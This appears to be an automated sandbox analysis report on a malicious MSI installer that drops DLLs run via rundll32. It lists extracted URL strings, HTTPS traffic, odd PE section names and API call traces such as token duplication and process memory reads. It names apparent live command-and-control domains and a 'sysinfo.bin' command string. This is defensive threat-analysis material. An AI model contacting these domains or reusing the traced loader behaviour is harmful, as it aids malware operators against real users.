Source: rundll32.exe, 00000006.00000002.1996154731.0000000180086000.00000002.00000001.01000000.00000000.sdmp, rundll32.exe, 00000006.00000003.1995316224.000001FB3C5F0000.00000040.00001000.00020000.00000000.sdmp, rundll32.exe, 00000007.00000002.3238751138.0000000180086000.00000002.00000001.01000000.00000007.sdmp, Update_77697333.dll.6.dr, 360total.dll.1.dr	String found in binary or memory: ftp://ftp%2desktop.ini
Source: ad.msi, MSID3EB.tmp.0.dr, MSID498.tmp.0.dr, MSID69B.tmp.1.dr, MSID8B1.tmp.1.dr, MSID509.tmp.0.dr, 5fd5a1.msi.1.dr, MSID529.tmp.0.dr, MSID824.tmp.1.dr, MSID4B9.tmp.0.dr, MSID719.tmp.1.dr, MSID4D9.tmp.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: ad.msi, MSID3EB.tmp.0.dr, MSID498.tmp.0.dr, MSID69B.tmp.1.dr, MSID8B1.tmp.1.dr, MSID509.tmp.0.dr, 5fd5a1.msi.1.dr, MSID529.tmp.0.dr, MSID824.tmp.1.dr, MSID4B9.tmp.0.dr, MSID719.tmp.1.dr, MSID4D9.tmp.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDTimestampingCA.crt0
Source: ad.msi, MSID3EB.tmp.0.dr, MSID498.tmp.0.dr, MSID69B.tmp.1.dr, MSID8B1.tmp.1.dr, MSID509.tmp.0.dr, 5fd5a1.msi.1.dr, MSID529.tmp.0.dr, MSID824.tmp.1.dr, MSID4B9.tmp.0.dr, MSID719.tmp.1.dr, MSID4D9.tmp.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0P
Source: ad.msi, MSID3EB.tmp.0.dr, MSID498.tmp.0.dr, MSID69B.tmp.1.dr, MSID8B1.tmp.1.dr, MSID509.tmp.0.dr, 5fd5a1.msi.1.dr, MSID529.tmp.0.dr, MSID824.tmp.1.dr, MSID4B9.tmp.0.dr, MSID719.tmp.1.dr, MSID4D9.tmp.0.dr	String found in binary or memory: http://crl3.digicert.com/sha2-assured-ts.crl02
Source: ad.msi, MSID3EB.tmp.0.dr, MSID498.tmp.0.dr, MSID69B.tmp.1.dr, MSID8B1.tmp.1.dr, MSID509.tmp.0.dr, 5fd5a1.msi.1.dr, MSID529.tmp.0.dr, MSID824.tmp.1.dr, MSID4B9.tmp.0.dr, MSID719.tmp.1.dr, MSID4D9.tmp.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: ad.msi, MSID3EB.tmp.0.dr, MSID498.tmp.0.dr, MSID69B.tmp.1.dr, MSID8B1.tmp.1.dr, MSID509.tmp.0.dr, 5fd5a1.msi.1.dr, MSID529.tmp.0.dr, MSID824.tmp.1.dr, MSID4B9.tmp.0.dr, MSID719.tmp.1.dr, MSID4D9.tmp.0.dr	String found in binary or memory: http://crl4.digicert.com/sha2-assured-ts.crl0
Source: rundll32.exe	String found in binary or memory: http://dr.f.360.cn/scan
Source: rundll32.exe, 00000006.00000002.1996154731.0000000180086000.00000002.00000001.01000000.00000000.sdmp, rundll32.exe, 00000006.00000003.1995316224.000001FB3C5F0000.00000040.00001000.00020000.00000000.sdmp, rundll32.exe, 00000007.00000002.3238751138.0000000180086000.00000002.00000001.01000000.00000007.sdmp, Update_77697333.dll.6.dr, 360total.dll.1.dr	String found in binary or memory: http://dr.f.360.cn/scanlist
Source: ad.msi, MSID3EB.tmp.0.dr, MSID498.tmp.0.dr, MSID69B.tmp.1.dr, MSID8B1.tmp.1.dr, MSID509.tmp.0.dr, 5fd5a1.msi.1.dr, MSID529.tmp.0.dr, MSID824.tmp.1.dr, MSID4B9.tmp.0.dr, MSID719.tmp.1.dr, MSID4D9.tmp.0.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: ad.msi, MSID3EB.tmp.0.dr, MSID498.tmp.0.dr, MSID69B.tmp.1.dr, MSID8B1.tmp.1.dr, MSID509.tmp.0.dr, 5fd5a1.msi.1.dr, MSID529.tmp.0.dr, MSID824.tmp.1.dr, MSID4B9.tmp.0.dr, MSID719.tmp.1.dr, MSID4D9.tmp.0.dr	String found in binary or memory: http://ocsp.digicert.com0O
Source: rundll32.exe	String found in binary or memory: http://pconf.f.360.cn/safe_update.php
Source: rundll32.exe	String found in binary or memory: http://pscan.f.360.cn/safe_update.php
Source: rundll32.exe, 00000006.00000002.1996154731.0000000180086000.00000002.00000001.01000000.00000000.sdmp, rundll32.exe, 00000006.00000003.1995316224.000001FB3C5F0000.00000040.00001000.00020000.00000000.sdmp, rundll32.exe, 00000007.00000002.3238751138.0000000180086000.00000002.00000001.01000000.00000007.sdmp, Update_77697333.dll.6.dr, 360total.dll.1.dr	String found in binary or memory: http://pscan.f.360.cn/safe_update.phphttp://pconf.f.360.cn/safe_update.phphttp://sconf.f.360.cn/clie
Source: rundll32.exe	String found in binary or memory: http://sconf.f.360.cn/client_security_conf
Source: ad.msi, MSID3EB.tmp.0.dr, MSID498.tmp.0.dr, MSID69B.tmp.1.dr, MSID8B1.tmp.1.dr, MSID509.tmp.0.dr, 5fd5a1.msi.1.dr, MSID529.tmp.0.dr, MSID824.tmp.1.dr, MSID4B9.tmp.0.dr, MSID719.tmp.1.dr, MSID4D9.tmp.0.dr	String found in binary or memory: http://t1.symcb.com/ThawtePCA.crl0
Source: ad.msi, MSID3EB.tmp.0.dr, MSID498.tmp.0.dr, MSID69B.tmp.1.dr, MSID8B1.tmp.1.dr, MSID509.tmp.0.dr, 5fd5a1.msi.1.dr, MSID529.tmp.0.dr, MSID824.tmp.1.dr, MSID4B9.tmp.0.dr, MSID719.tmp.1.dr, MSID4D9.tmp.0.dr	String found in binary or memory: http://t2.symcb.com0
Source: ad.msi, MSID3EB.tmp.0.dr, MSID498.tmp.0.dr, MSID69B.tmp.1.dr, MSID8B1.tmp.1.dr, MSID509.tmp.0.dr, 5fd5a1.msi.1.dr, MSID529.tmp.0.dr, MSID824.tmp.1.dr, MSID4B9.tmp.0.dr, MSID719.tmp.1.dr, MSID4D9.tmp.0.dr	String found in binary or memory: http://tl.symcb.com/tl.crl0
Source: ad.msi, MSID3EB.tmp.0.dr, MSID498.tmp.0.dr, MSID69B.tmp.1.dr, MSID8B1.tmp.1.dr, MSID509.tmp.0.dr, 5fd5a1.msi.1.dr, MSID529.tmp.0.dr, MSID824.tmp.1.dr, MSID4B9.tmp.0.dr, MSID719.tmp.1.dr, MSID4D9.tmp.0.dr	String found in binary or memory: http://tl.symcb.com/tl.crt0
Source: ad.msi, MSID3EB.tmp.0.dr, MSID498.tmp.0.dr, MSID69B.tmp.1.dr, MSID8B1.tmp.1.dr, MSID509.tmp.0.dr, 5fd5a1.msi.1.dr, MSID529.tmp.0.dr, MSID824.tmp.1.dr, MSID4B9.tmp.0.dr, MSID719.tmp.1.dr, MSID4D9.tmp.0.dr	String found in binary or memory: http://tl.symcd.com0&
Source: ad.msi, MSID3EB.tmp.0.dr, MSID498.tmp.0.dr, MSID69B.tmp.1.dr, MSID8B1.tmp.1.dr, MSID509.tmp.0.dr, 5fd5a1.msi.1.dr, MSID529.tmp.0.dr, MSID824.tmp.1.dr, MSID4B9.tmp.0.dr, MSID719.tmp.1.dr, MSID4D9.tmp.0.dr	String found in binary or memory: http://www.digicert.com/CPS0
Source: rundll32.exe, 00000007.00000002.3239328472.0000024739B56000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://grizmotras.com/
Source: rundll32.exe, 00000007.00000002.3239328472.0000024739B56000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000007.00000002.3239328472.0000024739B23000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000007.00000003.3137449195.000002473BAB0000.00000040.00001000.00020000.00000000.sdmp	String found in binary or memory: https://grizmotras.com/live/
Source: rundll32.exe, 00000007.00000003.3137465440.000002473BA70000.00000040.00001000.00020000.00000000.sdmp	String found in binary or memory: https://grizmotras.com/live/URLS1https://pewwhranet.com/live/COMMAND4front://sysinfo.bin
Source: rundll32.exe, 00000007.00000003.3199082000.0000024739B27000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000007.00000002.3239328472.0000024739B23000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://grizmotras.com/live/p
Source: rundll32.exe, 00000007.00000002.3239328472.0000024739B56000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://grizmotras.com/live/xe
Source: rundll32.exe, 00000007.00000002.3239328472.0000024739B56000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://grizmotras.com/vider
Source: rundll32.exe, 00000007.00000003.3199082000.0000024739B56000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://grizmotras.com/videri
Source: rundll32.exe, 00000007.00000003.3137300650.0000024739B56000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://jarinamaers.shop/
Source: rundll32.exe, 00000007.00000003.3199082000.0000024739B56000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000007.00000002.3239328472.0000024739B56000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000007.00000003.3137201375.0000024739B56000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000007.00000003.3137300650.0000024739B56000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://jarinamaers.shop/1
Source: rundll32.exe, 00000007.00000003.3137201375.0000024739B56000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000007.00000003.3137300650.0000024739B56000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://jarinamaers.shop/G
Source: rundll32.exe, 00000007.00000003.3137201375.0000024739B56000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000007.00000003.3137300650.0000024739B56000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://jarinamaers.shop/Y
Source: rundll32.exe, 00000007.00000002.3239328472.0000024739AE8000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000007.00000003.3137300650.0000024739B28000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000007.00000003.3137201375.0000024739B56000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000007.00000003.3137300650.0000024739B56000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://jarinamaers.shop/live/
Source: rundll32.exe, 00000007.00000003.3199082000.0000024739B56000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000007.00000003.3137201375.0000024739B56000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000007.00000003.3137300650.0000024739B56000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://jarinamaers.shop/live/K
Source: rundll32.exe, 00000007.00000003.3199082000.0000024739B56000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000007.00000003.3137201375.0000024739B56000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000007.00000003.3137300650.0000024739B56000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://jarinamaers.shop/live/l
Source: rundll32.exe, 00000007.00000003.3137465440.000002473BA70000.00000040.00001000.00020000.00000000.sdmp, rundll32.exe, 00000007.00000003.3137449195.000002473BAB0000.00000040.00001000.00020000.00000000.sdmp	String found in binary or memory: https://pewwhranet.com/live/
Source: ad.msi, MSID3EB.tmp.0.dr, MSID498.tmp.0.dr, MSID69B.tmp.1.dr, MSID8B1.tmp.1.dr, MSID509.tmp.0.dr, 5fd5a1.msi.1.dr, MSID529.tmp.0.dr, MSID824.tmp.1.dr, MSID4B9.tmp.0.dr, MSID719.tmp.1.dr, MSID4D9.tmp.0.dr	String found in binary or memory: https://www.advancedinstaller.com
Source: ad.msi, MSID3EB.tmp.0.dr, MSID498.tmp.0.dr, MSID69B.tmp.1.dr, MSID8B1.tmp.1.dr, MSID509.tmp.0.dr, 5fd5a1.msi.1.dr, MSID529.tmp.0.dr, MSID824.tmp.1.dr, MSID4B9.tmp.0.dr, MSID719.tmp.1.dr, MSID4D9.tmp.0.dr	String found in binary or memory: https://www.digicert.com/CPS0
Source: ad.msi, MSID3EB.tmp.0.dr, MSID498.tmp.0.dr, MSID69B.tmp.1.dr, MSID8B1.tmp.1.dr, MSID509.tmp.0.dr, 5fd5a1.msi.1.dr, MSID529.tmp.0.dr, MSID824.tmp.1.dr, MSID4B9.tmp.0.dr, MSID719.tmp.1.dr, MSID4D9.tmp.0.dr	String found in binary or memory: https://www.thawte.com/cps0/
Source: ad.msi, MSID3EB.tmp.0.dr, MSID498.tmp.0.dr, MSID69B.tmp.1.dr, MSID8B1.tmp.1.dr, MSID509.tmp.0.dr, 5fd5a1.msi.1.dr, MSID529.tmp.0.dr, MSID824.tmp.1.dr, MSID4B9.tmp.0.dr, MSID719.tmp.1.dr, MSID4D9.tmp.0.dr	String found in binary or memory: https://www.thawte.com/repository0W

Source: unknown	Network traffic detected: HTTP traffic on port 49719 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49719
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49718
Source: unknown	Network traffic detected: HTTP traffic on port 49716 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49715
Source: unknown	Network traffic detected: HTTP traffic on port 49717 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49714
Source: unknown	Network traffic detected: HTTP traffic on port 49718 -> 443

Source: unknown	HTTPS traffic detected: 104.21.46.75:443 -> 192.168.2.5:49714 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.219.28:443 -> 192.168.2.5:49718 version: TLS 1.2

System Summary

PE file contains section with special chars

Source: 360total.dll.1.dr	Static PE information: section name: yhDm^
Source: Update_77697333.dll.6.dr	Static PE information: section name: yhDm^

Source: C:\Windows\Installer\MSID8B1.tmp	Code function: 5_2_00B23C20 GetProcAddress,NtQueryInformationProcess,ReadProcessMemory,ReadProcessMemory,ReadProcessMemory,GetLastError,FreeLibrary,	5_2_00B23C20
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_000001FB3AB77B40 NtFreeVirtualMemory,	6_2_000001FB3AB77B40
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_000001FB3AB77588 RtlInitUnicodeString,NtCreateFile,NtClose,	6_2_000001FB3AB77588
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_000001FB3AB778C0 NtReadFile,	6_2_000001FB3AB778C0
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_000001FB3AB77A54 NtWriteFile,	6_2_000001FB3AB77A54
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_000001FB3AB779C8 NtClose,	6_2_000001FB3AB779C8
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_000001FB3AB7378C NtClose,	6_2_000001FB3AB7378C
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_000001FB3AB777B0 RtlInitUnicodeString,NtCreateFile,	6_2_000001FB3AB777B0
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_000001FB3AB7AD34 NtAllocateVirtualMemory,	6_2_000001FB3AB7AD34
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_000001FB3AB7B0C4 NtOpenKey,RtlpNtOpenKey,	6_2_000001FB3AB7B0C4
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_000001FB3AB7B1D4 NtQueryValueKey,NtQueryValueKey,NtClose,	6_2_000001FB3AB7B1D4
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_000001FB3AB7463C GetModuleHandleW,GetCurrentProcessId,GetCurrentProcessId,GetCurrentProcessId,OpenProcess,NtQueryInformationProcess,ReadProcessMemory,ReadProcessMemory,WideCharToMultiByte,CloseHandle,FindCloseChangeNotification,	6_2_000001FB3AB7463C
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_000001FB3AB77ACC NtClose,	6_2_000001FB3AB77ACC
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_000001FB3AB77694 RtlInitUnicodeString,NtDeleteFile,	6_2_000001FB3AB77694
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_000001FB3AB7745C RtlInitUnicodeString,NtOpenFile,NtClose,	6_2_000001FB3AB7745C
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_000001FB3AB77704 NtQueryInformationFile,	6_2_000001FB3AB77704
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_000001FB3AB7CB54 NtDelayExecution,	6_2_000001FB3AB7CB54
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_000001FB3AB80AC0 NtFreeVirtualMemory,	6_2_000001FB3AB80AC0
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_000001FB3AB80AF0 NtWriteFile,	6_2_000001FB3AB80AF0
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_000001FB3AB80A90 NtDeleteFile,	6_2_000001FB3AB80A90
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_000001FB3AB80A78 NtClose,	6_2_000001FB3AB80A78
Source: C:\Windows\System32\rundll32.exe	Code function: 7_2_0000024739A4CB54 NtDelayExecution,	7_2_0000024739A4CB54
Source: C:\Windows\System32\rundll32.exe	Code function: 7_2_0000024739A4AD34 NtAllocateVirtualMemory,	7_2_0000024739A4AD34
Source: C:\Windows\System32\rundll32.exe	Code function: 7_2_0000024739A47B40 NtFreeVirtualMemory,	7_2_0000024739A47B40
Source: C:\Windows\System32\rundll32.exe	Code function: 7_2_0000024739A4B0C4 NtOpenKey,RtlpNtOpenKey,	7_2_0000024739A4B0C4
Source: C:\Windows\System32\rundll32.exe	Code function: 7_2_0000024739A47A54 NtWriteFile,	7_2_0000024739A47A54
Source: C:\Windows\System32\rundll32.exe	Code function: 7_2_0000024739A4463C GetModuleHandleW,GetCurrentProcessId,GetCurrentProcessId,GetCurrentProcessId,OpenProcess,NtQueryInformationProcess,ReadProcessMemory,ReadProcessMemory,WideCharToMultiByte,CloseHandle,FindCloseChangeNotification,	7_2_0000024739A4463C
Source: C:\Windows\System32\rundll32.exe	Code function: 7_2_0000024739A4378C NtClose,	7_2_0000024739A4378C
Source: C:\Windows\System32\rundll32.exe	Code function: 7_2_0000024739A4B1D4 NtQueryValueKey,NtQueryValueKey,NtClose,	7_2_0000024739A4B1D4
Source: C:\Windows\System32\rundll32.exe	Code function: 7_2_0000024739A477B0 RtlInitUnicodeString,NtCreateFile,	7_2_0000024739A477B0
Source: C:\Windows\System32\rundll32.exe	Code function: 7_2_0000024739A47704 NtQueryInformationFile,	7_2_0000024739A47704
Source: C:\Windows\System32\rundll32.exe	Code function: 7_2_0000024739A47694 RtlInitUnicodeString,NtDeleteFile,	7_2_0000024739A47694
Source: C:\Windows\System32\rundll32.exe	Code function: 7_2_0000024739A50A90 NtDeleteFile,	7_2_0000024739A50A90
Source: C:\Windows\System32\rundll32.exe	Code function: 7_2_0000024739A50A78 NtClose,	7_2_0000024739A50A78
Source: C:\Windows\System32\rundll32.exe	Code function: 7_2_0000024739A47ACC NtClose,	7_2_0000024739A47ACC
Source: C:\Windows\System32\rundll32.exe	Code function: 7_2_0000024739A50AC0 NtFreeVirtualMemory,	7_2_0000024739A50AC0
Source: C:\Windows\System32\rundll32.exe	Code function: 7_2_0000024739A478C0 NtReadFile,	7_2_0000024739A478C0
Source: C:\Windows\System32\rundll32.exe	Code function: 7_2_0000024739A4745C RtlInitUnicodeString,NtOpenFile,NtClose,	7_2_0000024739A4745C
Source: C:\Windows\System32\rundll32.exe	Code function: 7_2_0000024739A47588 RtlInitUnicodeString,NtCreateFile,NtClose,	7_2_0000024739A47588
Source: C:\Windows\System32\rundll32.exe	Code function: 7_2_0000024739A479C8 NtClose,	7_2_0000024739A479C8
Source: C:\Windows\System32\rundll32.exe	Code function: 8_2_00000210FEA0AD34 NtAllocateVirtualMemory,	8_2_00000210FEA0AD34
Source: C:\Windows\System32\rundll32.exe	Code function: 8_2_00000210FEA07B40 NtFreeVirtualMemory,	8_2_00000210FEA07B40
Source: C:\Windows\System32\rundll32.exe	Code function: 8_2_00000210FEA078C0 NtReadFile,	8_2_00000210FEA078C0
Source: C:\Windows\System32\rundll32.exe	Code function: 8_2_00000210FEA10AC0 NtFreeVirtualMemory,	8_2_00000210FEA10AC0
Source: C:\Windows\System32\rundll32.exe	Code function: 8_2_00000210FEA0B0C4 NtOpenKey,	8_2_00000210FEA0B0C4
Source: C:\Windows\System32\rundll32.exe	Code function: 8_2_00000210FEA07ACC NtClose,	8_2_00000210FEA07ACC
Source: C:\Windows\System32\rundll32.exe	Code function: 8_2_00000210FEA07694 RtlInitUnicodeString,NtDeleteFile,	8_2_00000210FEA07694
Source: C:\Windows\System32\rundll32.exe	Code function: 8_2_00000210FEA07704 NtQueryInformationFile,	8_2_00000210FEA07704
Source: C:\Windows\System32\rundll32.exe	Code function: 8_2_00000210FEA0463C GetModuleHandleW,GetCurrentProcessId,GetCurrentProcessId,GetCurrentProcessId,OpenProcess,NtQueryInformationProcess,ReadProcessMemory,ReadProcessMemory,WideCharToMultiByte,CloseHandle,	8_2_00000210FEA0463C
Source: C:\Windows\System32\rundll32.exe	Code function: 8_2_00000210FEA07A54 NtWriteFile,	8_2_00000210FEA07A54
Source: C:\Windows\System32\rundll32.exe	Code function: 8_2_00000210FEA0745C RtlInitUnicodeString,NtOpenFile,NtClose,	8_2_00000210FEA0745C
Source: C:\Windows\System32\rundll32.exe	Code function: 8_2_00000210FEA077B0 RtlInitUnicodeString,NtCreateFile,	8_2_00000210FEA077B0
Source: C:\Windows\System32\rundll32.exe	Code function: 8_2_00000210FEA079C8 NtClose,	8_2_00000210FEA079C8
Source: C:\Windows\System32\rundll32.exe	Code function: 8_2_00000210FEA0B1D4 NtQueryValueKey,NtQueryValueKey,NtClose,	8_2_00000210FEA0B1D4
Source: C:\Windows\System32\rundll32.exe	Code function: 8_2_00000210FEA07588 RtlInitUnicodeString,NtCreateFile,NtClose,	8_2_00000210FEA07588
Source: C:\Windows\System32\rundll32.exe	Code function: 8_2_00000210FEA0378C NtClose,	8_2_00000210FEA0378C
Source: C:\Windows\System32\rundll32.exe	Code function: 8_2_00000210FEA0CB54 NtDelayExecution,	8_2_00000210FEA0CB54

Source: C:\Windows\System32\rundll32.exe

Code function: 6_2_000000018006A2C8: DeviceIoControl,

6_2_000000018006A2C8

Source: C:\Windows\System32\rundll32.exe

Code function: 6_2_000000018004B1A4 memset,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,WTSGetActiveConsoleSessionId,WTSQueryUserToken,GetTokenInformation,DuplicateTokenEx,CreateEnvironmentBlock,CreateProcessAsUserW,GetLastError,DestroyEnvironmentBlock,CloseHandle,CloseHandle,AdjustTokenPrivileges,CloseHandle,

6_2_000000018004B1A4

Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\5fd5a1.msi	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSID69B.tmp	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSID719.tmp	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\inprogressinstallinfo.ipi	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\SourceHash{B135729E-0574-44D1-B7A1-6E44550F506B}	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSID824.tmp	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File created: C:\Windows\Installer\MSID8B1.tmp	Jump to behavior

Source: C:\Windows\System32\msiexec.exe

File deleted: C:\Windows\Installer\MSID69B.tmp

Jump to behavior

Source: C:\Windows\Installer\MSID8B1.tmp	Code function: 5_2_00B26A50	5_2_00B26A50
Source: C:\Windows\Installer\MSID8B1.tmp	Code function: 5_2_00B5F032	5_2_00B5F032
Source: C:\Windows\Installer\MSID8B1.tmp	Code function: 5_2_00B592A9	5_2_00B592A9
Source: C:\Windows\Installer\MSID8B1.tmp	Code function: 5_2_00B4C2CA	5_2_00B4C2CA
Source: C:\Windows\Installer\MSID8B1.tmp	Code function: 5_2_00B4E270	5_2_00B4E270
Source: C:\Windows\Installer\MSID8B1.tmp	Code function: 5_2_00B584BD	5_2_00B584BD
Source: C:\Windows\Installer\MSID8B1.tmp	Code function: 5_2_00B4A587	5_2_00B4A587
Source: C:\Windows\Installer\MSID8B1.tmp	Code function: 5_2_00B5D8D5	5_2_00B5D8D5
Source: C:\Windows\Installer\MSID8B1.tmp	Code function: 5_2_00B2C870	5_2_00B2C870
Source: C:\Windows\Installer\MSID8B1.tmp	Code function: 5_2_00B44920	5_2_00B44920
Source: C:\Windows\Installer\MSID8B1.tmp	Code function: 5_2_00B4A915	5_2_00B4A915
Source: C:\Windows\Installer\MSID8B1.tmp	Code function: 5_2_00B50A48	5_2_00B50A48
Source: C:\Windows\Installer\MSID8B1.tmp	Code function: 5_2_00B29CC0	5_2_00B29CC0
Source: C:\Windows\Installer\MSID8B1.tmp	Code function: 5_2_00B55D6D	5_2_00B55D6D
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_0000000180017FE8	6_2_0000000180017FE8
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_000000018006DFF4	6_2_000000018006DFF4
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_00000001800220D8	6_2_00000001800220D8
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_000000018007C140	6_2_000000018007C140
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_0000000180060174	6_2_0000000180060174
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_000000018008023C	6_2_000000018008023C
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_000000018000834C	6_2_000000018000834C
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_000000018006C470	6_2_000000018006C470
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_00000001800784E0	6_2_00000001800784E0
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_00000001800764F0	6_2_00000001800764F0
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_0000000180060578	6_2_0000000180060578
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_0000000180010580	6_2_0000000180010580
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_000000018004E5DC	6_2_000000018004E5DC
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_0000000180062600	6_2_0000000180062600
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_0000000180002610	6_2_0000000180002610
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_0000000180004638	6_2_0000000180004638
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_000000018004A650	6_2_000000018004A650
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_000000018006E760	6_2_000000018006E760
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_00000001800647B0	6_2_00000001800647B0
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_000000018007E7C7	6_2_000000018007E7C7
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_0000000180076930	6_2_0000000180076930
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_0000000180062954	6_2_0000000180062954
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_000000018006A994	6_2_000000018006A994
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_000000018006E9FC	6_2_000000018006E9FC
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_0000000180082A18	6_2_0000000180082A18
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_0000000180072A27	6_2_0000000180072A27
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_0000000180010B58	6_2_0000000180010B58
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_0000000180026C84	6_2_0000000180026C84
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_000000018001ECF4	6_2_000000018001ECF4
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_0000000180008E20	6_2_0000000180008E20
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_0000000180052FD8	6_2_0000000180052FD8
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_000000018003AFE8	6_2_000000018003AFE8
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_000000018005D014	6_2_000000018005D014
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_000000018006F0B4	6_2_000000018006F0B4
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_00000001800630CC	6_2_00000001800630CC
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_000000018005912C	6_2_000000018005912C
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_000000018004B1A4	6_2_000000018004B1A4
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_0000000180049278	6_2_0000000180049278
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_000000018007B2D0	6_2_000000018007B2D0
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_000000018002B2EC	6_2_000000018002B2EC
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_000000018006D3D4	6_2_000000018006D3D4
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_00000001800033E0	6_2_00000001800033E0
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_0000000180075480	6_2_0000000180075480
Source: C:\Windows\System32\rundll32.exe	Code function: 6_2_00000001800694A0	6_2_00000001800694A0
